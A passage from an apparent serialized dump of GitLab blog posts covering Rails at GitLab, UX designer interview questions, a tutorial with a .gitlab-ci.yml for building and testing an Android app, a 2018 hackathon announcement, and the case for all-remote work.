memory.\"\n\nAdding Go to GitLab’s toolbox led to the creation of a separate service called [Gitaly](/blog/the-road-to-gitaly-1-0/), which handles all Git requests.\n\n### Building on GitLab’s mission\n\nThe organized, structured style of Ruby on Rails’ framework falls in line with our core mission. Because Rails is streamlined, anyone can jump into GitLab and participate, which made it especially attractive to Sid from the start.\n\n\"[Our mission is that everyone can contribute](/company/mission/#mission),\" he explains. \"Because Ruby on Rails is really opinionated about which pieces go where, it's much easier for new developers to get into the codebase, because you know where people have put stuff. For example, in every kitchen you enter, you never know where the knives and plates are located. But with Ruby on Rails, you enter the kitchen and it's always in the same place, and we want to stick to that.\n\n>In every kitchen you enter, you never know where the knives and plates are located. But with Ruby on Rails, you enter the kitchen and it's always in the same place, and we want to stick to that.\n\n\"I was really encouraged when I opened the project and saw it for the first time a year after Dmitriy started it. I opened it up and it's idiomatic Rails. He followed all the principles. He didn't try to experiment with some kind of fad that he was interested in. He made it into a production application. Dmitriy carefully vetted all the contributions to make sure they stick to those conventions, and that's still the case. I think we have a very nice codebase that allows other people to build on top of it. One of our sub-values is [boring solutions](https://handbook.gitlab.com/handbook/values/#efficiency): don't do anything fancy. This is so that others can build on top it. I think we've done that really well … and we're really thankful that Ruby has been such a stable, ecosystem for us to build on.\"\n\n[Cover image](https://unsplash.com/photos/0y6Y56Pw6DA) by [Elvir K](https://unsplash.com/@elvir) on Unsplash\n{: .note}\n",[2368,267,11037,676,1268,6962,1444],{"slug":31609,"featured":6,"template":678},"why-we-use-rails-to-build-gitlab","content:en-us:blog:why-we-use-rails-to-build-gitlab.yml","Why We Use Rails To Build Gitlab","en-us/blog/why-we-use-rails-to-build-gitlab.yml","en-us/blog/why-we-use-rails-to-build-gitlab",{"_path":31615,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31616,"content":31622,"config":31627,"_id":31629,"_type":16,"title":31630,"_source":17,"_file":31631,"_stem":31632,"_extension":20},"/en-us/blog/two-questions-we-ask-ux-designers-in-job-interviews",{"title":31617,"description":31618,"ogTitle":31617,"ogDescription":31618,"noIndex":6,"ogImage":31619,"ogUrl":31620,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31620,"schema":31621},"2 Questions we ask UX designers in job interviews (and why)","UX designer interviews are quite simple at GitLab. There are no trick questions – but here are two 'basic' ones that tell us a lot about you.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678794/Blog/Hero%20Images/ux-interviews.jpg","https://about.gitlab.com/blog/two-questions-we-ask-ux-designers-in-job-interviews","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2 Questions we ask UX designers in job interviews (and why)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2018-10-25\",\n      }",{"title":31617,"description":31618,"authors":31623,"heroImage":31619,"date":31624,"body":31625,"category":299,"tags":31626},[18742],"2018-10-25","\nAs of 2022, we have updated our internal interview process for Product Designers to include a consistent set of questions for every candidate at each phase of the process. This will help us create fairness and improve the quality of our evaluation process. The following questions are no longer part of our interview process. You can read about our [current hiring process in our Product Designer job family](https://handbook.gitlab.com/job-families/product/product-designer/#hiring-process). \n{: .alert .alert-info .note}\n\nWe won’t ask you how many golf balls fit in a bus or how many times a day a clock’s hands overlap – nothing like what Google became famous for. While there's some value in seeing how candidates react to curve-ball questions, they don't really add much to a 45-minute interview. We also won't ask you to attend an all-day session with a series of interviewers.\n\nI think the [hiring process](https://handbook.gitlab.com/job-families/product/product-designer/#hiring-process) at GitLab is way simpler and more efficient. A successful candidate has to go through four stages of interviewing before receiving an offer. Altogether, we spend around 2-3 hours with them, so we need to ask the right questions to be efficient.\n\nI'm so confident in the efficiency of these questions that I’m completely okay with sharing these publicly. What you answer matters less than how you answer them.\n\n## 1. Can you speak to the difference between information architecture, interaction design, usability, and user research?\n\nI was asked this when was interviewing for the Senior UX designer position at GitLab. I wasn’t expecting such a ‘basic’ question, but I immediately realized how ingenious it is.\n\nHere’s what’s so brilliant about it: We're testing if the candidate has solid foundations for being a UX designer. With enough experience, explaining these terms should be a piece of cake, whereas struggling can be a red flag. Even if a candidate doesn’t have a formal education, they should be able to provide descriptions with their own words and ideally throw in snippets from their past experience.\n\nWe don’t focus on the correctness of the answer so much as the body language and level of confidence the candidate shows when replying. Someone who’s not experienced in these UX basics can Google the terms before the interview and even prepare notes but we’ll pick that up. The lack of confidence will be obvious in their body language, their voice, and the words they use to describe the terms. Candidates who lack experience all tend to use similar, generic descriptions for these terms and seem to talk a lot, but don’t actually say much.\n\n> We don’t focus on the correctness of the answer so much as the body language and level of confidence the candidate shows when replying\n\n## 2. Pick an application you like/dislike and explain why.\n\nThis may seem like another basic question but it’s great for finding out what kind of a designer and person the candidate is. This is what we're looking for:\n\n### Passion\n\nWe’re interested in your opinion about the product as a designer, and we want to see if you talk about it with passion. If you love the product, the passion will be clear through the words you use to describe it and whether your eyes light up when you talk about it. The same applies for a product that you dislike: you should dislike it with passion.\n\nThis question tells us immediately if the candidate is passionate about being a designer or not. I’m often surprised at how many designers out there became designers only because it’s hip or well paid. These are not good reasons for becoming a designer – passion for creating things that improve people’s lives is.\n\n### Attention to detail\n\nWe want to see examples of candidates talking about small visual design and UI details; about seemingly insignificant but delightful UX solutions that can make a user’s day. The way a candidate talks about visual design gives us an insight into candidate’s skills in this area (what they notice, what they learn and how they use and adapt elements in their own work). We’re looking for well-rounded people who can cover the whole design process.\n\nIf they talk about things that aren’t good, we want to hear how they would improve them. Everyone can criticize; few can find good and feasible solutions. In most cases, I really don’t need to see the app that the candidate talks about. The way they describe it usually tells me enough to make a judgement. Good candidates describe things so well that I can imagine them without looking at the product.\n\n> Everyone can criticize; few can find good and feasible solutions\n\nCommunication in design work is key, so being able to accurately describe the problems or the delightful things in a product or an app is a good indicator of those skills.\n\n### User’s point of view\n\nAs a designer, you should always consider other users and how they experience things. This can be the crucial point of the interview. If you only describe the app from your point of view and based on your experience, it will be a potential red flag. You shouldn’t have to conduct user testing to imagine what other people could have problems with. For example: are certain UI elements or the font size really small? This could be a serious problem for older people or people with certain health conditions. Does the app behave consistently? If not, it could cause usability problems. These are the sorts of things that we want to hear our candidates talk about – empathy for users is key.\n\n### Bonus points\n\nI have to give bonus points to candidates that take the initiative and offer to share their screen or show me their phone to show me the app they talk about. The candidate is in a challenging moment, outside of their comfort zone, and it’s reassuring to see them take the initiative in such occasions.\n\n## Our interviews aren’t tricky\n\nIf you’re a passionate designer with an appropriate level of experience for the position, that will be clear from how you speak about design and how you think about user problems. I prefer to see passion and commitment to the design profession than a formal education and numerous years of experience in a non-challenging environment. We look for well-rounded and passionate people with a wide range of skills matching their experience. If you think you’re a good match, you’re welcome to [check out our careers page](/jobs/). We look forward to meeting you in our interviews. Good luck!\n\nCover image by [Kaleidico](https://unsplash.com/photos/26MJGnCM0Wc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/sketch?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,2249,2248,7715],{"slug":31628,"featured":6,"template":678},"two-questions-we-ask-ux-designers-in-job-interviews","content:en-us:blog:two-questions-we-ask-ux-designers-in-job-interviews.yml","Two Questions We Ask Ux Designers In Job Interviews","en-us/blog/two-questions-we-ask-ux-designers-in-job-interviews.yml","en-us/blog/two-questions-we-ask-ux-designers-in-job-interviews",{"_path":31634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31635,"content":31640,"config":31645,"_id":31647,"_type":16,"title":31648,"_source":17,"_file":31649,"_stem":31650,"_extension":20},"/en-us/blog/setting-up-gitlab-ci-for-android-projects",{"title":31636,"description":31637,"ogTitle":31636,"ogDescription":31637,"noIndex":6,"ogImage":27143,"ogUrl":31638,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31638,"schema":31639},"Setting up GitLab CI for Android projects","Learn how to set up GitLab CI to ensure your Android app compiles and passes tests.","https://about.gitlab.com/blog/setting-up-gitlab-ci-for-android-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Setting up GitLab CI for Android projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2018-10-24\",\n      }",{"title":31636,"description":31637,"authors":31641,"heroImage":27143,"date":31642,"body":31643,"category":734,"tags":31644},[22054],"2018-10-24","\nNote: This is a new version of a previously published blog post, updated for the current Android API level (28). Thanks Grayson Parrelli for authoring [the original post](/blog/setting-up-gitlab-ci-for-android-projects/)!\n{: .alert .alert-info}\n\nHave you ever accidentally checked on a typo that broke your Android build or unknowingly broke an important use case with a new change? Continuous integration is a way for developers to avoid these headaches, allowing you to confirm that changes to your app compile, and your tests pass before they're merged in.\n\n[GitLab CI/CD](/solutions/continuous-integration/) is a wonderful [continuous integration](/blog/continuous-integration-delivery-and-deployment-with-gitlab/) built-in solution, and in this post we'll walk through how to set up a basic config file (`.gitlab-ci.yml`) to ensure your Android app compiles and passes unit and functional tests. We assume that you know the process of creating an Android app, can write and run tests locally, and are familiar with the basics of the GitLab UI.\n\n## Our sample project\n\nWe'll be working with a real-world open source Android project called [Materialistic](https://github.com/hidroh/materialistic) to demonstrate how easy it is to get up and running with GitLab CI for Android. Materialistic currently uses Travis CI with GitHub, but switching over is a breeze. If you haven't seen Materialistic before, it's a fantastic open source Android reader for [Hacker News](https://news.ycombinator.com).\n\n### Testing\n\n[Unit tests](https://developer.android.com/training/testing/unit-testing/index.html) are the fundamental tests in your app testing strategy, from which you can verify that the logic of individual units is correct. They are a fantastic way to catch regressions when making changes to your app. They run directly on the Java Virtual Machine (JVM), so you don't need an actual Android device to run them.\n\nIf you already have working unit tests, you shouldn't have to make any adjustments to have them work with GitLab CI. Materialistic uses [Robolectric](http://robolectric.org/) for tests, [Jacoco](https://www.eclemma.org/jacoco/) for coverage, and also has a linting pass. We'll get all of these easily running in our `.gitlab-ci.yml` example except for Jacoco, since that requires a secret token we do not have - though I will show you how to configure that in your own projects.\n\n## Setting up GitLab CI\n\nWe want to be able to configure our project so that our app is built, and it has the complete suite of tests run upon check-in. To do so, we have to create our GitLab CI configuration file, called `.gitlab-ci.yml`, and place it in the root of our project.\n\nSo, first things first: If you're just here for a snippet to copy-paste, here is a `.gitlab-ci.yml` that will build and test the Materialistic app:\n\n```yml\nimage: openjdk:8-jdk\n\nvariables:\n  ANDROID_COMPILE_SDK: \"28\"\n  ANDROID_BUILD_TOOLS: \"28.0.2\"\n  ANDROID_SDK_TOOLS:   \"4333796\"\n\nbefore_script:\n  - apt-get --quiet update --yes\n  - apt-get --quiet install --yes wget tar unzip lib32stdc++6 lib32z1\n  - wget --quiet --output-document=android-sdk.zip https://dl.google.com/android/repository/sdk-tools-linux-${ANDROID_SDK_TOOLS}.zip\n  - unzip -d android-sdk-linux android-sdk.zip\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"platforms;android-${ANDROID_COMPILE_SDK}\" >/dev/null\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"platform-tools\" >/dev/null\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"build-tools;${ANDROID_BUILD_TOOLS}\" >/dev/null\n  - export ANDROID_HOME=$PWD/android-sdk-linux\n  - export PATH=$PATH:$PWD/android-sdk-linux/platform-tools/\n  - chmod +x ./gradlew\n  # temporarily disable checking for EPIPE error and use yes to accept all licenses\n  - set +o pipefail\n  - yes | android-sdk-linux/tools/bin/sdkmanager --licenses\n  - set -o pipefail\n\nstages:\n  - build\n  - test\n\nlintDebug:\n  stage: build\n  script:\n    - ./gradlew -Pci --console=plain :app:lintDebug -PbuildDir=lint\n\nassembleDebug:\n  stage: build\n  script:\n    - ./gradlew assembleDebug\n  artifacts:\n    paths:\n    - app/build/outputs/\n\ndebugTests:\n  stage: test\n  script:\n    - ./gradlew -Pci --console=plain :app:testDebug\n```\n\nWell, that's a lot of code! Let's break it down.\n\n### Understanding `.gitlab-ci.yml`\n\n#### Defining the Docker Image\n{:.special-h4}\n\n```yml\nimage: openjdk:8-jdk\n```\n\nThis tells [GitLab Runners](https://docs.gitlab.com/ee/ci/runners/) (the things that are executing our build) what [Docker image](https://hub.docker.com/explore/) to use. If you're not familiar with [Docker](https://hub.docker.com/), the TL;DR is that Docker provides a way to create a completely isolated version of a virtual operating system running in its own [container](https://www.sdxcentral.com/cloud/containers/definitions/what-is-docker-container-open-source-project/). Anything running inside the container thinks it has the whole machine to itself, but in reality there can be many containers running on a single machine. Unlike full virtual machines, Docker containers are super fast to create and destroy, making them great choices for setting up temporary environments for building and testing.\n\nThis [Docker image (`openjdk:8-jdk`)](https://hub.docker.com/_/openjdk/) works perfectly for our use case, as it is just a barebones installation of Debian with Java pre-installed. We then run additional commands further down in our config to make our image capable of building Android apps.\n\n#### Defining variables\n\n```yml\nvariables:\n  ANDROID_COMPILE_SDK: \"28\"\n  ANDROID_BUILD_TOOLS: \"28.0.2\"\n  ANDROID_SDK_TOOLS:   \"4333796\"\n```\n\nThese are variables we'll use throughout our script. They're named to match the properties you would typically specify in your app's `build.gradle`.\n\n- `ANDROID_COMPILE_SDK` is the version of Android you're compiling with. It should match `compileSdkVersion`.\n- `ANDROID_BUILD_TOOLS` is the version of the Android build tools you are using. It should match `buildToolsVersion`.\n- `ANDROID_SDK_TOOLS` is a little funny. It's what version of the command line tools we're going to download from the [official site](https://developer.android.com/studio/index.html). So, that number really just comes from the latest version available there.\n\n#### Installing packages\n{:.special-h4}\n\n```yml\nbefore_script:\n  - apt-get --quiet update --yes\n  - apt-get --quiet install --yes wget tar unzip lib32stdc++6 lib32z1\n```\n\nThis starts the block of the commands that will be run before each job in our config.\n\nThese commands ensure that our package repository listings are up to date, and it installs packages we'll be using later on, namely: `wget`, `tar`, `unzip`, and some packages that are necessary to allow 64-bit machines to run Android's 32-bit tools.\n\n#### Installing the Android SDK\n\n```yml\n  - wget --quiet --output-document=android-sdk.zip https://dl.google.com/android/repository/sdk-tools-linux-${ANDROID_SDK_TOOLS}.zip\n  - unzip -d android-sdk-linux android-sdk.zip\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"platforms;android-${ANDROID_COMPILE_SDK}\" >/dev/null\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"platform-tools\" >/dev/null\n  - echo y | android-sdk-linux/tools/bin/sdkmanager \"build-tools;${ANDROID_BUILD_TOOLS}\" >/dev/null\n```\n\nHere we're downloading the Android SDK tools from their official location, using our `ANDROID_SDK_TOOLS` variable to specify the version. Afterwards, we're unzipping the tools and running a series of `sdkmanager` commands to install the necessary Android SDK packages that will allow our app to build.\n\n#### Setting up the environment\n\n```yml\n  - export ANDROID_HOME=$PWD/android-sdk-linux\n  - export PATH=$PATH:$PWD/android-sdk-linux/platform-tools/\n  - chmod +x ./gradlew\n  # temporarily disable checking for EPIPE error and use yes to accept all licenses\n  - set +o pipefail\n  - yes | android-sdk-linux/tools/bin/sdkmanager --licenses\n  - set -o pipefail\n```\n\nFinally, we wrap up the `before_script` section of our config with a few remaining tasks. First, we set the `ANDROID_HOME` environment variable to the SDK location, which is necessary for our app to build. Next, we add the platform tools to our `PATH`, allowing us to use the `adb` command without specifying its full path, which is important when we run a downloaded script later. Next, we ensure that `gradlew` is executable, as sometimes Git will mess up permissions.\n\nThe next command `yes | android-sdk-linux/tools/bin/sdkmanager --licenses` is responsible for accepting the SDK licenses. Because the unix `yes` command results in an EPIPE error once the pipe is broken (when the sdkmanager quits normally), we temporarily wrap the command in `+o pipefile` so that it does not terminate script execution when it fails.\n\n#### Defining the stages\n\n```yml\nstages:\n  - build\n  - test\n```\n\nHere we're defining the different [stages](https://docs.gitlab.com/ee/ci/yaml/#stages) of our build. We can call these anything we want. A stage can be thought of as a group of [jobs](https://docs.gitlab.com/ee/ci/jobs/). All of the jobs in the same stage happen in parallel, and all jobs in one stage must be completed before the jobs in the subsequent stage begin. We've defined two stages: `build` and `test`. They do exactly what you think: the `build` stage ensures the app compiles, and the `test` stage runs our unit and functional tests.\n\n#### Building the app\n\n```yml\nlintDebug:\n  stage: build\n  script:\n    - ./gradlew -Pci --console=plain :app:lintDebug -PbuildDir=lint\n\nassembleDebug:\n  stage: build\n  script:\n    - ./gradlew assembleDebug\n  artifacts:\n    paths:\n    - app/build/outputs/\n```\n\nThis defines our first job, called `build`. It has two parts - a linter to ensure that the submitted code is up to snuff, and the actual compilation of the code (and configuration of the `artifacts` that GitLab should expect to find). These are run in parallel for maximum efficiency.\n\n#### Running tests\n\n```yml\ndebugTests:\n  stage: test\n  script:\n    - ./gradlew -Pci --console=plain :app:testDebug\n```\n\nThis defines a job called `debugTests` that runs during the `test` stage. Nothing too crazy here about setting something simple like this up!\n\nIf we had wanted to get Jacoco also working, that would be very straightforward. Simply adding a section as follows would work - the only additional thing you'd need to do is add a secret variable containing your personal `COVERALLS_REPO_TOKEN`:\n\n```yml\ncoverageTests:\n  stage: test\n  script:\n    - ./gradlew -Pci --console=plain jacocoTestReport coveralls\n```\n\n## Run your new CI setup\n\nAfter you've added your new `.gitlab-ci.yml` file to the root of your directory, just push your changes to the appropriate branch and off you go! You can see your running builds in the **Pipelines** tab of your project. You can even watch your build execute live and see the runner's output, allowing you to debug problems easily.\n\n![Pipelines tab screenshot](https://about.gitlab.com/images/blogimages/gitlab-ci-for-android-2018/tutorial-01.png){:.shadow}\n\nAfter your build is done, you can retrieve your build artifacts:\n\n- First, click on your completed build, then navigate to the Jobs tab:\n\n![Build details button screenshot](https://about.gitlab.com/images/blogimages/gitlab-ci-for-android-2018/tutorial-02.png){:.shadow}\n\nFrom here, simply click on the download button to download your build artifacts.\n\n## Conclusion\n\nSo, there you have it! You now know how to create a GitLab CI config that will ensure your app:\n\n- Compiles\n- Passes tests\n- Allows you to access your build artifacts (like your [APK](https://en.wikipedia.org/wiki/Android_application_package)) afterwards.\n\nYou can take a look at my local copy of the Materialistic repository, with everything up and running, at [this link](https://gitlab.com/jyavorska/androidblog-2018)\n\nEnjoy your newfound app stability :)\n\n\u003C!-- closes https://gitlab.com/gitlab-com/www-gitlab-com/issues/3167 -->\n\u003C!-- cover image: https://unsplash.com/photos/aso6SYJZGps -->\n\n\u003Cstyle>\n  img {\n    display: block;\n    margin: 0 auto 20px auto;\n  }\n  .special-h4 {\n    margin-top: 20px !important;\n  }\n\u003C/style>\n",[110,4772],{"slug":31646,"featured":6,"template":678},"setting-up-gitlab-ci-for-android-projects","content:en-us:blog:setting-up-gitlab-ci-for-android-projects.yml","Setting Up Gitlab Ci For Android Projects","en-us/blog/setting-up-gitlab-ci-for-android-projects.yml","en-us/blog/setting-up-gitlab-ci-for-android-projects",{"_path":31652,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31653,"content":31658,"config":31663,"_id":31665,"_type":16,"title":31666,"_source":17,"_file":31667,"_stem":31668,"_extension":20},"/en-us/blog/q4-hackathon-announcement",{"title":31654,"description":31655,"ogTitle":31654,"ogDescription":31655,"noIndex":6,"ogImage":19778,"ogUrl":31656,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31656,"schema":31657},"Get ready for the Q4'2018 GitLab Hackathon","The Q4 Hackathon for the GitLab community will take place on November 14-15.","https://about.gitlab.com/blog/q4-hackathon-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get ready for the Q4'2018 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-10-23\",\n      }",{"title":31654,"description":31655,"authors":31659,"heroImage":19778,"date":31660,"body":31661,"category":813,"tags":31662},[21623],"2018-10-23","\n\nFollowing the success of [our inaugural event](/blog/hackathon-recap/), the next quarterly Hackathon will take place on November 14-15. We're looking forward to another opportunity for collaboration and meeting with new community members!\n\n## What's the deal?\n\nThis is a virtual event where community members get together to work on merge requests (MRs) and also to welcome and help new contributors. We now have a new [Hackathon landing page](/community/hackathon/), where you will be able to find more details as we get closer to the event. Again, we will have an exciting prize for everyone who has MRs merged within 10 days of the Hackathon:\n\n![GitLab slippers](https://about.gitlab.com/images/blogimages/q4-hackathon-blog/Slippers.JPG){: .shadow.medium.center}\n*\u003Csmall>GitLab slippers for everyone with merged MRs\u003C/small>*\n\nThe person with the most MRs merged during the Hackathon will be able to show off their grand prize around the neighborhood or at a nearby skate park!\n\n![GitLab skateboard](https://about.gitlab.com/images/blogimages/q4-hackathon-blog/Skateboard_-_Gitlab.png){: .shadow.medium.center}\n*\u003Csmall>GitLab skateboard for the grand prize winner\u003C/small>*\n\n## What else is taking place?\n\nIn addition to hacking, we plan to invite community experts for quick presentations plus Q&A sessions on various topics such as getting started as a new contributor, [Meltano](https://gitlab.com/meltano), issue triage, etc. over the two days. These sessions will also be recorded and available on [GitLab YouTube channel](https://www.youtube.com/gitlab).  If you want to see materials/recordings from the last Hackathon, you can find them in [the Q3 Hackathon wiki page](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-hackathon/q3-2018-hackathon/wikis/Q3-2018-Hackathon#links-to-presentations-recordings).\n\n## Where can I find help during the Hackathon?\n\nFor communications during the Hackathon, we will use the [GitLab Community room in Gitter](https://gitter.im/gitlabhq/community). This is a channel designed to have community-related discussions and for community members to help each other as people have questions while contributing to GitLab. This is open to everyone, so please [join the room](https://gitter.im/gitlabhq/community) if you are not part of it already.\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\nCover image: [\"Gitlab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel).\n{: .note}\n",[267,2368,815,277],{"slug":31664,"featured":6,"template":678},"q4-hackathon-announcement","content:en-us:blog:q4-hackathon-announcement.yml","Q4 Hackathon Announcement","en-us/blog/q4-hackathon-announcement.yml","en-us/blog/q4-hackathon-announcement",{"_path":31670,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31671,"content":31676,"config":31681,"_id":31683,"_type":16,"title":31684,"_source":17,"_file":31685,"_stem":31686,"_extension":20},"/en-us/blog/the-case-for-all-remote-companies",{"title":31672,"description":31673,"ogTitle":31672,"ogDescription":31673,"noIndex":6,"ogImage":14419,"ogUrl":31674,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31674,"schema":31675},"The case for all-remote companies","Remote teams offer flexibility, reduce company costs, and increase productivity.","https://about.gitlab.com/blog/the-case-for-all-remote-companies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The case for all-remote companies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-10-18\",\n      }",{"title":31672,"description":31673,"authors":31677,"heroImage":14419,"date":31678,"body":31679,"category":6634,"tags":31680},[20767],"2018-10-18","\nI’m writing this post while I sit under a mango tree and listen to\n[Tchaikovsky’s Piano Concerto No. 1](https://www.youtube.com/watch?v=xZYYqUssAVw).\nI don’t have to worry about my music bothering anyone around me, and I don’t\nthink twice about my attire (yoga pants, Beatles shirt, [Time-Turner](https://www.harrypottershop.com/products/time-turner-trade-by-noble-collection),\nand a pair of boots I'm trying to break in). I get to work wherever I’m most productive, because GitLab is an\n[all-remote company](/blog/the-remote-manifesto/). My 350 team members and\nI work wherever we’re most comfortable – whether that’s in a small cafe in\nUtrecht, Netherlands or in a bookstore in Santa Monica, California. We’re\npassionate about working remotely and believe that it has the power to\n[change the workforce](/company/culture/all-remote/#how-remote-work-is-changing-the-workforce).\n\n## Why all-remote works\n\nAll-remote organizations [empower team members](/company/culture/all-remote/benefits/) to work in settings that allow\nthem to balance their personal and professional lives. A completely remote\nenvironment allows organizations to retain team members as they move to be closer to parents,\ntravel the world, or follow their significant other if they have a job transfer. People don’t have to choose\nbetween their happiness and their career.\n\n> \"Remote working offers flexibility in every part of people’s lives. If you need\nto suddenly take care of your family or friends, the flexibility to travel to\nthem, move to them, be there when they need you there. And I think that's a\nreally beautiful thing.\" — Sid Sijbrandij\n\n1. **Equivalence**: The problem with hybrid setups, in which there are a few\nremote workers who collaborate with a larger on-site team, is that the remote\nteam feels isolated and often misses out on discussions. When there’s no HQ, no\none is in a satellite office and everyone's on equal footing, so no one is left\nout of impromptu meetings over lunch or quick brainstorming sessions down the hall.\n\n1. **Communication**: When everyone is remote,\n[effective communication](/handbook/communication/#introduction) becomes a\nnecessity, which helps instill good, scalable working practices. At GitLab, we\ndocument best practices in our [handbook](/handbook/) and we work in\n[issues](https://docs.gitlab.com/ee/user/project/issues/), allowing us to work\nasynchronously, which we need since we’re a global company with team members in\nevery time zone. Working in issues means our discussions are written, so we don't\nendure long meetings, which run the risk of team members forgetting information\nor decisions.\n\n1. **Hiring**: All-remote companies have an advantage over traditional work\nenvironments, because they can hire people irrespective of location, so they’re\nable to find the most talented people in the world rather than within a commutable\ndistance.\n\n1. **Cost-effective**: When you can hire around the world, you can pay market\nwages and offer people an at-market or above-market wage while still reducing\ncosts for the company. Furthermore, without office rent, an organization saves\na significant amount of money. GitLab, for example, has experienced\n[rapid growth](/jobs/) and would've had to move offices seven times in the last\nfew years. We save a significant amount of money on rent, utilities, office\nequipment, and additional team members to manage the office.\n\n## Overcoming the challenges\n\nThe biggest disadvantage to remote working is that isolation can set in if there\nisn't a concerted effort to create a social connection between people. In a\nco-located company, people can mingle in break rooms, sit together at lunch, and\nbriefly chat in hallways. At all-remote companies, the social fiber of a [culture\nhas to be actively cultivated](/company/culture/all-remote/building-culture/) and time must be set aside for it or team members\nwill feel alone in their work and disconnected from the organization.\n\nGitLab has [Group Conversations](/handbook/group-conversations/)\nevery day at the time when West Coast and Europe overlap. The most-wanted hours\nin the company to organize meetings are dedicated to talking about different\nareas of the company and learning how they're performing. We also do a\n[Company Call](/handbook/communication/#company-call) every day, which\ncomprises about five minutes of announcements and 25 minutes of people chatting.\n\nOur [Coffee Break Calls](/company/culture/all-remote/tips/#coffee-chats) encourage\nteam members to spend several hours a week socializing and building a relationship\nthat's separate from work. Since working remotely can also lead to team members\nnever meeting in person, we have a [visiting grant](/handbook/incentives/#visiting-grant)\nto cover transportation costs, and every nine months, the entire team gets\ntogether for the [GitLab Summit](/events/gitlab-contribute/).\n\nWhen I worked in-office, there was a stigma to wanting to chat with people,\nbecause my manager would wonder why I wasn't working. Now, my manager praises my\nability to connect with people. Our coffee chats give us permission to talk to\nteam members about anything.\n\n> \"Instead of it being a stigma,\nwe support it. We force you to do it when you onboard by asking you to set up\nfive coffee breaks with team members. It's totally legitimized, and everyone thinks it's acceptable. And, one thing I\nlike a lot is that it's personal. People tell stories, and sometimes they're fun,\nsometimes they're beautiful, sometimes they're really sad, and I love them all.\" -- Sid Sijbrandij\n\n## The investor perspective\n\nWe'll admit that investors have expressed concern about our dreamy all-remote\natmosphere. In considering GitLab, investors usually have these three concerns:\nwe don't match their pattern, whether the executive team has enough interaction,\nand the 50 percent loss in value in case of an acquisition. Investors are interested in\npattern-matching, and since the majority of their companies are traditional\nin-office organizations, investors are reluctant to deviate from what has\nhistorically worked well.\n\n![Sid responds to a Hacker News comment, writing that all-remote companies are the future and that one day, in-office companies will have to discuss why they are not remote](https://about.gitlab.com/images/blogimages/sidhn.png){: .shadow}\n  *\u003Csmall>Sid replies to a [Hacker News comment](https://news.ycombinator.com/item?id=18158896) about all-remote companies.\u003C/small>*\n\nWhen it comes to the executive team, investors wonder whether GitLab's leadership\nis able to effectively work together when they're distributed. Leadership needs\nhigh-bandwidth communication since they represent different functions, and in\nthe eyes of investors, remote cultures are not conducive to this level of interaction.\nOur executive team has quarterly in-person meetings and regular video calls.\n\nThe concerns about acquisition are true, but they help both investors and GitLab\ndetermine whether their goals are aligned. When a company gets acquired,\nespecially in the Bay Area, the presumption is that all the employees move to\nthe acquiring company. This would be hard in our case – people don't have work\nvisas, others are used to a remote lifestyle, and a lot of people just wouldn't\nwant to move. The industry estimate is that an all-remote team halves the value\nof a company in the case of an acquisition. Although this may sound terrifying\nto some, this fact helps us select the investors that believe in our goal: to\nbecome a [public company](/company/strategy/#sequence). So, if investors are interested\nin acquisition, investing with GitLab isn't the right move for them, because our\ngoals are misaligned.\n\n## Interested in changing the workforce?\n\nAn increasing number of the workforce wants to be a part of a remote team. One\nstudy found that\n[\"searches for flexible work arrangements is up 32 percent year over year,\"](https://www.hiringlab.org/2017/07/27/flexible-work-arrangements-searches-up/)\nan indication that the appeal of remote working is on the mind of jobseekers.\n\nIf you’re considering creating an all-remote environment, please borrow heavily\nfrom our 1,500-page [handbook](/handbook/)! We discuss which [tools](/handbook/tools-and-tips/)\nwe use, our [expense policy](/handbook/spending-company-money/), and our\n[onboarding template](https://gitlab.com/gitlab-com/people-ops/employment/blob/master/.gitlab/issue_templates/onboarding.md).\nIf you think of ways we can improve our remote working culture, we’d love it if\nyou [contributed](/company/strategy/#why) your thoughts!\n",[676,3798],{"slug":31682,"featured":6,"template":678},"the-case-for-all-remote-companies","content:en-us:blog:the-case-for-all-remote-companies.yml","The Case For All Remote 